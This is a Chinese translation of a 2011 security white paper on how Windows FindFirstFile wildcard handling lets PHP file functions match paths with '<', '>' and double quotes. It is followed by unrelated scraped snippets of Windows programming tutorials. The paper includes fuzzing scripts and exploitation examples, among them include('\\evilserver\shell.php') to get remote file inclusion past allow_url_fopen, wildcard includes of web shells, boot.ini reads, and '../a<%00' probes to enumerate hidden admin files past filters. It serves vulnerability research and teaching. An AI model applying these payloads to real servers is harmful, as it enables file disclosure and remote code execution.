windows的文件系统机制引发的PHP路径爆破问题分析

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在,以上脚本访问的结果是:

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。
测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
经测试我们得出的结论是:该漏洞影响所有的windows+php版本

2.深入探查模糊测试的结果

为了继续深入探查关于该bug的信息,我们对demo做了些许修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。这在2007年msdn公开的文档中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所发行的任何版本修复!
我们要阐明的是,该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:


 
此外,我们还发现该利用也可以被运用到c++中,以下采用来自msdn的例子:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

当传入参数”c:\bo<”时,成功访问到boot.ini文件。

3.利用方法总结

当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE:include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一个字符是”.”的话,读取时可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例:

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问test.php?a=../a<%00
可能出现两种结果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况,说明不存在a打头的文件,第二种则存在。
 
此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

5.结论
实验告诉我们,php本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与winapi的一个BUG),并且直接强 制使用,将会导致细微的错误(bug),并最终造成危害(vul).这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究web层面,而深入到系统底层),并最终导致IDS,IPS的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。
因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明,mysql5并不存在类似的漏洞。但是我们仍认为:类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

==================================================================
全文完。
注:该文是2011年底发表的一篇白皮书,至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用,当时便是看的此文,当时只是粗粗读了一下,写了一个php的脚本去跑目录。今回闲来无事,翻译整理了一番。

时间: 2014-07-27

Windows 服务控制管理器通信的命令行程序

SC 是用于与服务控制管理器通信的命令行程序. 用法: sc <server> [command] [service name] <option1> <option2>... 选项 <server> 的格式为 "\\ServerName" 可以键入 "sc [command]"以获得命令的进一步帮助 命令: query-----------查询服务的状态, 或枚举服务类型的状态. queryex---------查询服

Windows程序内部运行机制实例详解

本文以孙鑫老师VC++教程中的程序为基础,详细讲解了Windows程序内部运行机制,相信可以帮助大家更好的理解Windows程序运行原理及相应的VC++程序设计.具体内容如下: 创建一个Win32应用程序步骤: 1.编写WinMain函数; 2.创建窗口(步骤如下): a.设计(一个)窗口类(WNDCLASS) b.注册(该)窗口类. c.创建窗口. d.显示并更新窗口. 3.编写消息循环. 4.编写窗口过程函数. //WinMain.cpp #include <windows.h> #inc

Windows网络命令行程序参数说明

Windows网络命令行程序  C:\>nslookup www.jb51.net Server:  www Address:  192.168.5.8 Non-authoritative answer: Name:    www.jb51.net Address:  202.103.69.64 这部分包括:  shi 使用 ipconfig /all 查看配置  使用 ipconfig /renew 刷新配置  对于启用 DHCP 的 Windows 95 和 Windows 98 客户,请使

C++ 学习之旅 Windows程序内部运行原理

学习C++与.net不同的是,一定要搞清楚Windows程序内部运行原理,因为他所涉及大多数是操作系统的调用,而.net毕竟是在.netFrameWork上唱戏. 那Windows应用程序,操作系统,计算机硬件之间的相互关系究竟什么了,下面的图就给予很好的解释. 向下箭头①是 应用程序运行判断处理的结果,输出到输出的设备. 向上箭头②是输入设备,输入到操作系统中. 向下箭头③代表API,我们要解释以下API是什么.API是应用程序接口, 表示应用程序可以通知操作系统执行某个具体的动作,如操作系统

Windows消息传递机制详解

对于windows程序设计,这里有几个关键词需要注意:消息,消息循环,窗口过程.   所谓的Windows消息传递机制就类似于生活中的物流公司.当寄件人(例如鼠标.键盘)将包裹(消息)交给物流公司(Windows系统)时,物流公司(Windows系统)会进行整理并且派发(整理及派发主要由消息循环完成),交给相应的快递员(窗口过程)来处理.快递员(窗口过程)拿到包裹(消息)后则有多种方式来处理,如立马交给收件人,等一天交给收件人,或转交给其他快递派发,这就需要在窗口过程中用swich/case来区

Windows的钩子机制详解

一.概述: 了解windows程序设计的人都知道,Windows系统程序的运行是建立在消息传递机制的基础之上的,几乎所有的程序活动都由消息来驱动.钩子机制可以看作是一个消息的中转站,控制系统发出消息的处理和传递.利用钩子,我们可以截获系统发给应用程序的消息,并且在经过处理后决定是否将消息再发给下一个应用程序.利用钩子的这一特性,我们可以创建一个监控程序,收集和控制系统发出的消息. 二.Windows钩子程序的编制 编制Windows的钩子程序,需要用到几个SDK中的API函数.下面列出这几个函数

windows消息和消息队列实例详解

本文详细讲述了windows消息和消息队列的原理与应用方法.分享给大家供大家参考.具体分析如下: 与基于MS - DOS的应用程序不同,Windows的应用程序是事件(消息)驱动的.它们不会显式地调用函数(如C运行时库调用)来获取输入,而是等待windows向它们传递输入. windows系统把应用程序的输入事件传递给各个窗口,每个窗口有一个函数,称为窗口消息处理函数.窗口消息处理函数处理各种用户输入,处理完成后再将控制权交还给系统.窗口消息处理函数一般是在注册一个窗口的时候指定的.你可以从典型

C++ 中"priority_queue" 优先级队列实例详解

C++ 中"priority_queue" 优先级队列实例详解 1. 简介 标准库队列使用了先进先出(FIFO)的存储和检索策略. 进入队列的对象被放置在尾部, 下一个被取出的元素则取自队列的首部. 标准库提供了两种风格的队列: FIFO 队列(FIFO queue, 简称 queue), 以及优先级队列(priority queue). priority_queue 允许用户为队列中存储的元素设置优先级. 这种队列不是直接将新元素放置在队列尾部, 而是放在比它优先级低的元素前面. 标

.net msmq消息队列实例详解

本文为大家分享了.net msmq消息队列实例代码,供大家参考,具体内容如下 1.msmq消息队列windows环境安装 控制面板---->程序和功能---->启用或关闭Windows程序---->Microsoft Message Queue(MSMQ)服务器 选中如图所示功能点击"确认"进行安装,安装好后可在 "计算机管理"中进行查看 2.创建消息队列实体对象 /// <summary> /// 消息实体 /// </summ

ActiveMQ消息签收机制代码实例详解

这篇文章主要介绍了ActiveMQ消息签收机制代码实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 消费者客户端成功接收一条消息的标志是:这条消息被签收. 消费者客户端成功接收一条消息一般包括三个阶段: 1.消费者接收消息,也即从MessageConsumer的receive方法返回 2.消费者处理消息 3.消息被签收 其中,第三阶段的签收可以有ActiveMQ发起,也可以由消费者客户端发起,取决于Session是否开启事务以及签收模式的

JavaScript数据结构之优先队列与循环队列实例详解

本文实例讲述了JavaScript数据结构之优先队列与循环队列.分享给大家供大家参考,具体如下: 优先队列 实现一个优先队列:设置优先级,然后在正确的位置添加元素. 我们这里实现的是最小优先队列,优先级的值小(优先级高)的元素被放置在队列前面. //创建一个类来表示优先队列 function Priorityqueue(){ var items=[];//保存队列里的元素 function QueueEle(e,p){//元素节点,有两个属性 this.element=e;//值 this.pr

Linux消息队列实现进程间通信实例详解

Linux消息队列实现进程间通信实例详解 一.什么是消息队列 消息队列提供了一种从一个进程向另一个进程发送一个数据块的方法.  每个数据块都被认为含有一个类型,接收进程可以独立地接收含有不同类型的数据结构.我们可以通过发送消息来避免命名管道的同步和阻塞问题.但是消息队列与命名管道一样,每个数据块都有一个最大长度的限制. Linux用宏MSGMAX和MSGMNB来限制一条消息的最大长度和一个队列的最大长度. 二.在Linux中使用消息队列 Linux提供了一系列消息队列的函数接口来让我们方便地使用

Android 消息队列模型详解及实例

Android 消息队列模型详解及实例 Android系统的消息队列和消息循环都是针对具体线程的,一个线程可以存在(当然也可以不存在)一个消息队列(Message Queue)和一个消息循环(Looper).Android中除了UI线程(主线程),创建的工作线程默认是没有消息循环和消息队列的.如果想让该线程具有消息队列和消息循环,并具有消息处理机制,就需要在线程中首先调用Looper.prepare()来创建消息队列,然后调用Looper.loop()进入消息循环.如以下代码所示: class

C++ 中消息队列函数实例详解

C++ 中消息队列函数实例详解 1.消息队列结构体的定义 typedef struct{ uid_t uid; /* owner`s user id */ gid_t gid; /* owner`s group id */ udi_t cuid; /* creator`s user id */ gid_t cgid; /* creator`s group id */ mode_t mode; /* read-write permissions 0400 MSG_R 0200 MSG_W*/ ul

微信小程序 消息推送php服务器验证实例详解

微信小程序 消息推送php服务器验证实例详解 微信文档(靠下有个"接入指引"):https://mp.weixin.qq.com/debug/wxadoc/dev/api/custommsg/callback_help.html 设置页面("设置">>"开发设置"): https://mp.weixin.qq.com/wxopen/initprofile?action=home&lang=zh_CN 1.设置服务器域名 比如: